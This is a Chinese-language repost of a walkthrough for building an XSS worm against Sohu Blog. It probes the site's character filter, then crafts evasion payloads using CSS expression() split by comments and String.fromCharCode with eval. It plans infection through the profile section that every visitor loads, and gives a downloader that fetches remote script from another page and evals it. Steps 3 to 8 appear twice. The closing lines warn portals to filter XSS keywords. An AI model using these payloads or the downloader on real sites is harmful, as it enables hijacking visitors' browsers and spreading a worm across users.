完整的XSS wrom網(wǎng)站入侵實(shí)例示范
發(fā)布日期:2021-12-31 17:05 | 文章來(lái)源:源碼之家
XSS wrom網(wǎng)站如何實(shí)現(xiàn)入侵?不說(shuō)廢話,且看怎么實(shí)現(xiàn),我先拿SOHU BLOG做示范。
1. 測(cè)試過(guò)濾字符,下面都是構(gòu)造XSS所需要的關(guān)鍵字符(未包含全角字符,空格是個(gè)TABLE,\/前是真正的空格),在個(gè)人檔案處看過(guò)濾了哪些。
’’;:!--"<javascript JAvaSCriPT>=&#{()} \/
結(jié)果
’’;:!--"=&#{()} // (&后是amp,論壇過(guò)濾了)
過(guò)濾了"javascript","&"和"\"這兩個(gè)轉(zhuǎn)義字符串,因此HTML轉(zhuǎn)碼和CSS樣式轉(zhuǎn)碼已無(wú)效,只好從屬性和事件入手。
2. 測(cè)試一個(gè)XSS常用屬性和兩個(gè)事件,貌似沒有過(guò)濾字符。
expression
onerror
onload 3. 下面開始嘗試構(gòu)造語(yǔ)句。如下: <img src="#" style="Xss:expression(alert(’xss’));"> <img src="#" onerror=alert(’xss’)> <img src="/Article/UploadFiles/200702/20070202101404522.jpg" onload=alert(’xss’)> 構(gòu)造完整標(biāo)記,頁(yè)面輸出后又全部過(guò)濾。 4. "/"字符沒有過(guò)濾因此可以構(gòu)造/*xxxx*/注釋符,expression屬性可以配合注釋符構(gòu)造出語(yǔ)句: <div style="xss:ex/**/pre/**/ssion(alert(’xss’))"> 5. 由于expression屬性比較特殊想當(dāng)于一個(gè)死循環(huán)的EVAL函數(shù),同時(shí)style標(biāo)記里不能出現(xiàn)";"字符,也就是不能構(gòu)造多條連接在一起的javascript,因此構(gòu)造出如下語(yǔ)句: <DIV STYLE="xss:ex/**/pre/**/ssion(eval(xss));" xss="var Then=new Date();Then.setTime(Then.getTime() 10*1000);if(document.cookie.indexOf(’Cookie1=’) == -1){document.cookie=’Cookie1=RAY;expires=’ Then.toGMTString();alert(’xss’);}"> //設(shè)置一個(gè)COOKIE在10秒后失效,并在這條COOKIE語(yǔ)句中執(zhí)行其他語(yǔ)句或函數(shù)。 6. 遺憾的是SOHU BLOG對(duì)于標(biāo)記內(nèi)不合適的內(nèi)容都會(huì)過(guò)濾,因此我們無(wú)法eval標(biāo)記內(nèi)的某個(gè)變量,于是采用fromCharCode方法,將Unicode字符值專成字符串再用eval函數(shù)執(zhí)行: <div style="xss:ex/**/pre/**/ssion(eval(String.fromCharCode(97,108,101,114,116,40,39,120,115,115,39,41)))"> 7. 感染流程考慮: ?、?BLOG頁(yè)面的個(gè)人檔案處是頁(yè)面通用的 ㈡ XSS內(nèi)容寫到個(gè)人檔案處,所有瀏覽者都會(huì)觸發(fā)XSS ?、?實(shí)現(xiàn)一段提交XSS內(nèi)容到個(gè)人檔案的代碼. 8. 個(gè)人檔案處只能輸入2048個(gè)字符,又采用了fromCharCode方法,因此出現(xiàn)XSS代碼長(zhǎng)度的限制,因此只能調(diào)用遠(yuǎn)程代碼,于是寫出了個(gè)XSS downloader。 主要代碼: function d(){
a=new ActiveXObject(’Microsoft.XMLHTTP’); /*調(diào)用XMLHTTP控件
a.Open(’get’,http://s0n9.blog.sohu.com/31406970.html’,false);/*發(fā)出一個(gè)GET提交請(qǐng)求
a.send();
b=a.responseText; /*將傳回值賦給變量B
eval(unescape(b.substring(b.indexOf(’--|’) 3,b.indexOf(’|--’))));
/*用indexOf計(jì)算 --|********|-- 的位置,用substring方法取出字符串,最后用unescape方法解碼.
}d() http://s0n9.blog.sohu.com/31406970.html 頁(yè)面代碼: alert('xss');
/*利用escape將標(biāo)點(diǎn)符號(hào)轉(zhuǎn)碼,由于responseText特性,某些字符會(huì)轉(zhuǎn)換,如"&"字符會(huì)變成"&"(&后是amp,論壇過(guò)濾了) 其他傳染和詳細(xì)的偽造提交的過(guò)程略去,各門戶網(wǎng)站小心,過(guò)濾好XSS關(guān)鍵字,以防止XSS WROM爆發(fā) 。
expression
onerror
onload 3. 下面開始嘗試構(gòu)造語(yǔ)句。如下: <img src="#" style="Xss:expression(alert(’xss’));"> <img src="#" onerror=alert(’xss’)> <img src="/Article/UploadFiles/200702/20070202101404522.jpg" onload=alert(’xss’)> 構(gòu)造完整標(biāo)記,頁(yè)面輸出后又全部過(guò)濾。 4. "/"字符沒有過(guò)濾因此可以構(gòu)造/*xxxx*/注釋符,expression屬性可以配合注釋符構(gòu)造出語(yǔ)句: <div style="xss:ex/**/pre/**/ssion(alert(’xss’))"> 5. 由于expression屬性比較特殊想當(dāng)于一個(gè)死循環(huán)的EVAL函數(shù),同時(shí)style標(biāo)記里不能出現(xiàn)";"字符,也就是不能構(gòu)造多條連接在一起的javascript,因此構(gòu)造出如下語(yǔ)句: <DIV STYLE="xss:ex/**/pre/**/ssion(eval(xss));" xss="var Then=new Date();Then.setTime(Then.getTime() 10*1000);if(document.cookie.indexOf(’Cookie1=’) == -1){document.cookie=’Cookie1=RAY;expires=’ Then.toGMTString();alert(’xss’);}"> //設(shè)置一個(gè)COOKIE在10秒后失效,并在這條COOKIE語(yǔ)句中執(zhí)行其他語(yǔ)句或函數(shù)。 6. 遺憾的是SOHU BLOG對(duì)于標(biāo)記內(nèi)不合適的內(nèi)容都會(huì)過(guò)濾,因此我們無(wú)法eval標(biāo)記內(nèi)的某個(gè)變量,于是采用fromCharCode方法,將Unicode字符值專成字符串再用eval函數(shù)執(zhí)行: <div style="xss:ex/**/pre/**/ssion(eval(String.fromCharCode(97,108,101,114,116,40,39,120,115,115,39,41)))"> 7. 感染流程考慮: ?、?BLOG頁(yè)面的個(gè)人檔案處是頁(yè)面通用的 ㈡ XSS內(nèi)容寫到個(gè)人檔案處,所有瀏覽者都會(huì)觸發(fā)XSS ?、?實(shí)現(xiàn)一段提交XSS內(nèi)容到個(gè)人檔案的代碼. 8. 個(gè)人檔案處只能輸入2048個(gè)字符,又采用了fromCharCode方法,因此出現(xiàn)XSS代碼長(zhǎng)度的限制,因此只能調(diào)用遠(yuǎn)程代碼,于是寫出了個(gè)XSS downloader。 主要代碼: function d(){
a=new ActiveXObject(’Microsoft.XMLHTTP’); /*調(diào)用XMLHTTP控件
a.Open(’get’,http://s0n9.blog.sohu.com/31406970.html’,false);/*發(fā)出一個(gè)GET提交請(qǐng)求
a.send();
b=a.responseText; /*將傳回值賦給變量B
eval(unescape(b.substring(b.indexOf(’--|’) 3,b.indexOf(’|--’))));
/*用indexOf計(jì)算 --|********|-- 的位置,用substring方法取出字符串,最后用unescape方法解碼.
}d() http://s0n9.blog.sohu.com/31406970.html 頁(yè)面代碼: alert('xss');
/*利用escape將標(biāo)點(diǎn)符號(hào)轉(zhuǎn)碼,由于responseText特性,某些字符會(huì)轉(zhuǎn)換,如"&"字符會(huì)變成"&"(&后是amp,論壇過(guò)濾了) 其他傳染和詳細(xì)的偽造提交的過(guò)程略去,各門戶網(wǎng)站小心,過(guò)濾好XSS關(guān)鍵字,以防止XSS WROM爆發(fā) 。
版權(quán)聲明:本站文章來(lái)源標(biāo)注為YINGSOO的內(nèi)容版權(quán)均為本站所有,歡迎引用、轉(zhuǎn)載,請(qǐng)保持原文完整并注明來(lái)源及原文鏈接。禁止復(fù)制或仿造本網(wǎng)站,禁止在非maisonbaluchon.cn所屬的服務(wù)器上建立鏡像,否則將依法追究法律責(zé)任。本站部分內(nèi)容來(lái)源于網(wǎng)友推薦、互聯(lián)網(wǎng)收集整理而來(lái),僅供學(xué)習(xí)參考,不代表本站立場(chǎng),如有內(nèi)容涉嫌侵權(quán),請(qǐng)聯(lián)系alex-e#qq.com處理。
相關(guān)文章
關(guān)注官方微信